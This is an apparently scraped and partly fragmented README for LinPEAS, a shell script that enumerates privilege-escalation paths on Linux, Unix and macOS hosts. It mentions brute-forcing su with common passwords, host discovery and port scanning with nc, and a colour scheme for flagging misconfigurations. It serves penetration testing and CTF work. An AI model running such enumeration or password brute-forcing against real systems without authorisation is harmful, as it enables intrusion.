LinPEAS is a script that search for possible paths to escalate privileges on Linux/Unix*/MacOS hosts. The checks are explained on book.hacktricks.xyz
Check the Local Linux Privilege Escalation checklist from book.hacktricks.xyz.
Just execute linpeas.sh
in a MacOS system and the MacPEAS version will be automatically executed

The goal of this script is to search for possible Privilege Escalation Paths (tested in Debian, CentOS, FreeBSD, OpenBSD and MacOS).
This script doesn't have any dependency.
It uses /bin/sh syntax, so can run in anything supporting sh
(and the binaries and parameters used).
By default, linpeas won't write anything to disk and won't try to login as any other user using su
.
By default linpeas takes around 4 mins to complete, but It could take from 5 to 10 minutes to execute all the checks using -a parameter (Recommended option for CTFs):
-a
) - Notice that this check is super noisy-a
) - Notice that this check will need to write some info inside a file that will be deletedOther parameters:
su
with the top2000 passwords.sudo -l
and bruteforcing other usersThis script has several lists included inside of it to be able to color the results in order to highlight PE vector.
LinPEAS also exports a new PATH variable during the execution if common folders aren't present in the original PATH variable.
With LinPEAS you can also discover hosts automatically using fping
, ping
and/or nc
, and scan ports using nc
.
LinPEAS will automatically search for this binaries in $PATH
and let you know if any of them is available. In that case you can use LinPEAS to hosts dicovery and/or port scanning.
LinPEAS uses colors to indicate where does each section begin. But it also uses them the identify potencial misconfigurations.
The Red/Yellow
color is used for identifing configurations that lead to PE (99% sure).
The Red color is used for identifing suspicious configurations that could lead to PE:
The Green color is used for:
The Blue color is used for:
The Light Cyan color is used for:
The Light Magenta color is used for:
Here you have an old linpe version script in one line, just copy and paste it
The color filtering is not available in the one-liner (the lists are too big)
This one-liner is deprecated (I'm not going to update it any more), but it could be useful in some cases so it will remain here.
The default file where all the data is stored is: /tmp/linPE (you can change it at the beginning of the script)
